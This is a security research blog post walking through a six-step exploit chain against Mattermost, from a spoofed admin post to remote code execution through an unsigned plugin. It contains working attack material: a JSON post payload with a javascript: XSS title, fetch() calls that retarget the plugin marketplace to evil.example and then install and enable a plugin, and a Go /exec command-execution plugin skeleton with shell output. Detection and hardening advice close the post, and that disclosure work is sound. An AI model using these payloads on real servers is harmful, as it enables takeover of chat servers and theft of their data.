
Someone wise once told me: it's not a real POC — he couldn't reproduce it from scratch, and there was no CVE ID. That wise person has a lot of thank-you postcards, mugs, and t-shirts, which is how you know he's the real expert.
Mattermost is the self-hosted Slack — the one your company runs because compliance said the chat history must live on your own servers. That's a fine reason. It also means that server runs a plugin system, a marketplace, a configuration API, and a web client full of the usual suspects.
This post walks a chain that starts with a low-privilege channel member and ends with code execution on that server. It's a long chain — six links — but every link is a documented feature of the product, and the whole thing rides on one click by an admin who sees a message that appears to come from... an admin. Along the way: an impersonation the permission check declines to catch, a renderer that skips URL validation, a CSRF gate that waves XHRs through, a config patch with a missing-key bypass, and a plugin install path where the signature check is literally nil.
Wear the admin's face#
Mattermost messages carry a pile of metadata in their props object, and two fields in it are worth close attention: from_bot and override_username. Set override_username and the message renders with that name on it, avatar and all. Set from_bot and it wears the "BOT" tag — which in most channels reads as official rather than suspicious.
A low-privilege member can set both, and the API stores them without complaint. The post that opens this chain looks like this:
{
"channel_id": "<poc-channel>",
"message": "admin: your inbox has a new message",
"props": {
"from_bot": "true",
"override_username": "admin",
"attachments": [{"title": "javascript:alert(document.cookie)", "text": "open to review"}]
}
}
There is a check that would stop this. post_permission_utils.go has a postHardenedModeCheck() that inspects exactly these fields — but it only runs when hardened mode is enabled, and hardened mode ships off. The seatbelt is in the trunk, and the car comes with a note explaining that seatbelts are optional.
So this link is free: a regular member posts a message that looks, to everyone, like the admin. "Your inbox has a new message," says the admin. The admin's avatar is right there. Click-bait, delivered by the person the bait claims to be. Which matters, because this chain's entire budget is that one click.
The link that isn't a link#
Post attachments carry a title, and the title renders as a link. The title above is javascript:alert(document.cookie), and the javascript: scheme persists server-side, no questions asked.
The frontend has two renderers for these links, and they disagree about safety. renderer.tsx runs the URL through isUrlSafe() before it builds the <a href> — the careful path. link_only_renderer.tsx, the one used for link-only attachments, builds the anchor directly and skips the check entirely. Same data, two code paths, one of them written on a Friday.
One click on that link and the attacker's JavaScript executes in the Mattermost origin with the admin's session. The admin clicked "their own" message about their inbox. Of course they clicked it. And the payload that runs has the full power of the admin's own browser — which is to say, the full power of the admin, as far as the API is concerned.
Riding the session#
Now the injected JavaScript needs to make privileged API calls as the admin, and the cookie situation is almost generous.
Mattermost's session cookie, MMAUTHTOKEN, is HttpOnly — JavaScript can't read it, which is correct and proper. But the CSRF cookie, MMCSRF, is not HttpOnly, so JavaScript can read it — and it doesn't matter anyway, because a fetch() with credentials: 'include' attaches MMAUTHTOKEN automatically. The lock is on the door the fetch API walks through by default. No HttpOnly exfiltration is needed; the browser does the smuggling.
That leaves the CSRF check as the last line of defense, and it's a soft one. checkCSRFToken() in web/handlers.go demands the token in the X-CSRF-Token header — except when strict CSRF enforcement is off (the default), in which case any request wearing X-Requested-With: XMLHttpRequest sails through. The check exists; the default config waves you in. A request from inside the origin that staples on that one header is, from the server's point of view, indistinguishable from the admin clicking around their own UI.
Which is, functionally, what just happened. The payload doesn't need the admin's password, their session token, or anything that leaves the browser. It just needs to ask politely in the accent the server already trusts:
fetch('/api/v4/config/patch', {
method: 'PUT',
credentials: 'include',
headers: {'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/json'},
body: JSON.stringify({PluginSettings: {MarketplaceURL: 'https://evil.example/api/v1/marketplace'}})
})
The marketplace detour#
Why retarget the marketplace? Because of how plugin signatures work — we'll get there. First, the config primitive.
PUT /api/v4/config/patch updates server configuration. It normally treats an omitted key as "leave it alone," which would make partial patches safe — but there's a missing-key bypass in api4/config.go: omit EnableUploads and the patch persists anyway. It's the kind of detail that separates a chain from a wish. The marketplace URL moves when you ask nicely.
With the marketplace retargeted, the weaponized JavaScript the admin just clicked performs the rest of the chain by itself, in the browser. Three fetches, all in-origin, all as admin: patch the config, trigger an install through the (now attacker-controlled) marketplace, then enable the plugin:
fetch('/api/v4/config/patch', {method:'PUT', credentials:'include',
headers:{'X-Requested-With':'XMLHttpRequest','Content-Type':'application/json'},
body:JSON.stringify({PluginSettings:{MarketplaceURL:'https://evil.example/api/v1/marketplace'}})})
.then(() => fetch('/api/v4/plugins/marketplace', {method:'POST', credentials:'include',
headers:{'X-Requested-With':'XMLHttpRequest','Content-Type':'application/json'},
body:JSON.stringify({id:'com.example.rce'})}))
.then(() => fetch('/api/v4/plugins/com.example.rce/enable',
{method:'POST', credentials:'include',
headers:{'X-Requested-With':'XMLHttpRequest'}}))
One click bought the whole sequence. The admin never sees a prompt, an approval dialog, or anything but their inbox.
The plugin with no signature#
The RCE payload is a Mattermost plugin: a Go binary in a tarball, described by a plugin.json manifest. Plugins are first-class server code — they register HTTP routes on the Mattermost process itself, and this one registers /exec:
{
"id": "com.example.rce",
"name": "rce",
"version": "1.0.0",
"min_server_version": "10.0.0",
"server": {"executable": "server/dist/plugin-linux-amd64"}
}
func (p *RCEPlugin) ServeHTTP(c *plugin.Context, w http.ResponseWriter, r *http.Request) {
if !strings.HasSuffix(r.URL.Path, "/exec") { http.NotFound(w, r); return }
cmd := r.URL.Query().Get("cmd")
// builtins: id, pwd, env, ls:<dir>, cat:<file>
// otherwise: execSync-style shell execution via os/exec
}
Now the signature question, because this is the hinge of the whole chain. Mattermost has RequirePluginSignature, which controls whether installed plugins must be signed by a trusted key. There are three ways a plugin gets onto a server: the marketplace install path, the direct-upload path (POST /api/v4/plugins with a multipart tarball), and POST /plugins/install_from_url, which has the server fetch the tarball itself.
The marketplace path always verifies signatures. That's why the chain bothered retargeting the marketplace in the previous link — the install request needs to look like it came from a legitimate marketplace flow. But the direct-upload and install_from_url paths call installPlugin(bundle, nil) — the nil is the signature check. nil is very permissive. With verification effectively absent on those paths, the unsigned bundle installs, enables, and /exec answers with the output of whatever you asked for, as the server's user.
The install_from_url variant deserves its own mention: the server fetches the tarball with its own HTTP client (MakeClient(true)), no browser involved — convenient when the target can't reach your laptop but can reach your listener. Same nil, same result.
The shell without a shell#
The final link is almost cosmetic, but it's worth savoring: the container the server runs in has no /bin/sh. No shell at all. So the plugin doesn't spawn one — it exposes a set of pure-Go builtins (id, pwd, env, ls:<dir>, cat:<file>) over the /exec endpoint, and the client-side shell translates familiar syntax to them. ls, cat <file>, cd <dir> all work, one HTTP GET per command, with a prompt that looks close enough to home:
mattermost@rce:/mattermost$ id
uid=2000 gid=2000 username=mattermost dir=/mattermost
mattermost@rce:/mattermost$ cat /etc/hostname
mattermost-server
It's a tty built out of API calls, because the box was hardened enough to have no shell — and it still didn't matter, because the plugin is the shell now. Any process the attacker would have spawned through /bin/sh, they can now spawn through the plugin's own code, with the same privileges, same filesystem, same network.
The damage#
The entry point is one click, and from there the chain runs to completion in the victim's own browser before anyone looks up — no attachments to download, no files to open, just an admin clicking a link posted by "admin." Every check in the way has an off switch, and each of those switches ships in the off position: hardened mode off, strict CSRF off, signature verification nil on the upload paths. The defenses exist and are each disabled by default — a stack of seatbelts in trunks.
What makes it worse is that none of the surface is exotic. Posts, attachments, plugins, the marketplace API — these are things a channel member is supposed to use. Nothing here is an exploit primitive in isolation; a spoofed post is a prank, a javascript: title is a stored XSS with no victim, a config patch needs admin rights. It's the ordering that's hostile. And the payload delivers itself: the attacker never holds the admin's credentials, just their cookie jar for one request. By the time the admin closes the tab, the plugin is installed, enabled, and answering.
Seeing it coming#
Watch for posts where override_username doesn't match the poster; log the mismatch server-side, because a message claiming to be the admin but sent by someone else is the smoking gun, and it's sitting right there in the post's props. Watch for attachment titles containing javascript: or any other non-http(s) scheme — there is no legitimate reason for one. Watch for unexpected PUT /api/v4/config/patch traffic, especially MarketplaceURL changes and their quick reversions, which look like "change, install, change back." Watch for plugin installs or enables outside your change windows, for unsigned bundles when signatures are supposedly required, and for requests to /plugins/*/exec-style endpoints that aren't in your known plugin inventory. Any one of these on its own is worth a ticket; all of them in one afternoon is this post.
Hardening#
Turn the on-switches on. Hardened mode, strict CSRF, and plugin signature requirements are all opt-in today — opt in, because each one of them individually would have broken a link in this chain. Stop letting posts wear other people's names: override_username from non-bot accounts shouldn't render as an impersonation without a permission check that actually fires, and from_bot shouldn't be a free claim either. Treat every renderer like the careful one — any place a URL becomes an <a href> needs the same isUrlSafe gate, because two renderers with one policy is how this started. Verify signatures everywhere, not just on the marketplace path: nil is not a signature, and if the upload paths skip verification, they're the install path your attackers will use. Keep RequirePluginSignature on and keep the trusted keys actually trusted. And don't run the server with a shell you didn't expect to need — the container without /bin/sh was a nice touch and it didn't save anyone, but defense in depth means the plugin's builtins stay builtins instead of becoming a full system shell.
Last word#
There's a phrase for chains like this: death by a thousand defaults. Each link is a small, defensible decision — spoofing check off by default, one renderer missing a validation, CSRF strictness optional, signature verification skipped on upload paths. Individually, each is a ticket in someone's backlog. In sequence, they're a staircase from "low-privilege member" to "code execution on the chat server," and the admin's own click is the handrail.
One click. That's the whole budget. Your chat server should probably cost more than that to own.
— Skuntir